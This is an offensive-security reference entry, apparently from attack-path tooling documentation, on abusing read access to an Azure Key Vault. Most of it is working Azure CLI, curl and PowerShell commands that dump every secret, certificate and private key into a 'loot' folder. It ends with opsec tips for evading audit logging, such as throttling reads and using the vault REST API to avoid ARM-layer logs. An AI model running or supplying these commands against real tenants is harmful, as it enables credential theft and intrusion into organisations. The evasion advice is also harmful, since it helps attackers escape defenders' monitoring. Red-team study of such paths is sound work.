AZGetSecrets

The source principal has permission to read secrets from the target Azure Key Vault, enabling extraction of credentials, certificates, and cryptographic keys stored within.

Applies to: User / ServicePrincipal β†’ AZKeyVault


Linux Abuse

Azure CLI β€” list and retrieve all secrets

az login --service-principal -u <app-id> -p '<secret>' --tenant <tenant-id>

# List all secrets in vault
az keyvault secret list --vault-name <vault-name> --query '[].{Name:name, Enabled:attributes.enabled}' -o table

# Retrieve a specific secret value
az keyvault secret show --vault-name <vault-name> --name <secret-name> --query 'value' -o tsv

# Dump ALL secret values
az keyvault secret list --vault-name <vault-name> --query '[].id' -o tsv | \
  xargs -I{} az keyvault secret show --id {} --query 'value' -o tsv

List and download certificates

az keyvault certificate list --vault-name <vault-name>
az keyvault certificate download --vault-name <vault-name> --name <cert-name> --file cert.pem

List and export keys

az keyvault key list --vault-name <vault-name>
az keyvault key download --vault-name <vault-name> --name <key-name> --file key.json

Graph API β€” enumerate key vaults via ARM

ARM_TOKEN=$(curl -s -X POST \
  "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
  -d "client_id=<app-id>&client_secret=<secret>&scope=https://management.azure.com/.default&grant_type=client_credentials" \
  | jq -r '.access_token')

# List all key vaults in subscription
curl -s "https://management.azure.com/subscriptions/<subscription-id>/providers/Microsoft.KeyVault/vaults?api-version=2022-07-01" \
  -H "Authorization: Bearer $ARM_TOKEN" | jq '.value[].name'

Key Vault REST API β€” read secret directly

KV_TOKEN=$(curl -s -X POST \
  "https://login.microsoftonline.com/<tenant-id>/oauth2/v2.0/token" \
  -d "client_id=<app-id>&client_secret=<secret>&scope=https://vault.azure.net/.default&grant_type=client_credentials" \
  | jq -r '.access_token')

curl -s "https://<vault-name>.vault.azure.net/secrets/<secret-name>?api-version=7.4" \
  -H "Authorization: Bearer $KV_TOKEN" | jq '.value'

# List all secrets
curl -s "https://<vault-name>.vault.azure.net/secrets?api-version=7.4" \
  -H "Authorization: Bearer $KV_TOKEN" | jq '.value[].id'

Windows Abuse

PowerZure β€” dump key vault contents

Connect-AzAccount -AccessToken <access-token> -AccountId <username>
Get-AzureKeyVaultContent -VaultName <vault-name>
Export-AzureKeyVaultContent -VaultName <vault-name> -Path C:\loot\

Az PowerShell β€” dump all secrets

Connect-AzAccount -AccessToken <access-token> -AccountId <username>

Get-AzKeyVaultSecret -VaultName <vault-name> | ForEach-Object {
  $val = Get-AzKeyVaultSecret -VaultName <vault-name> -Name $_.Name -AsPlainText
  Write-Output "$($_.Name) = $val"
}

Az PowerShell β€” list all vaults in subscription and dump

Get-AzKeyVault | ForEach-Object {
  $vaultName = $_.VaultName
  Write-Output "=== $vaultName ==="
  Get-AzKeyVaultSecret -VaultName $vaultName | ForEach-Object {
    $val = Get-AzKeyVaultSecret -VaultName $vaultName -Name $_.Name -AsPlainText
    Write-Output "  $($_.Name) = $val"
  }
}

Az PowerShell β€” export certificate with private key

$cert = Get-AzKeyVaultCertificate -VaultName <vault-name> -Name <cert-name>
$secret = Get-AzKeyVaultSecret -VaultName <vault-name> -Name <cert-name>
$secretBytes = [System.Convert]::FromBase64String($secret.SecretValueText)
[System.IO.File]::WriteAllBytes("C:\loot\cert.pfx", $secretBytes)

Opsec

  • Every secret access generates a Key Vault audit log event with actor identity, secret name, and timestamp.
  • Key Vault diagnostic logs must be enabled to capture these events β€” but in security-mature environments they always are.
  • Bulk reads (xargs or ForEach-Object) create many sequential log entries β€” throttle or spread requests.
  • Prefer reading secrets via the Key Vault REST API (separate token scope: https://vault.azure.net) to avoid ARM-layer logging.
  • Certificates exported with private keys (PFX) can be used for SP authentication β€” higher value than plain secrets.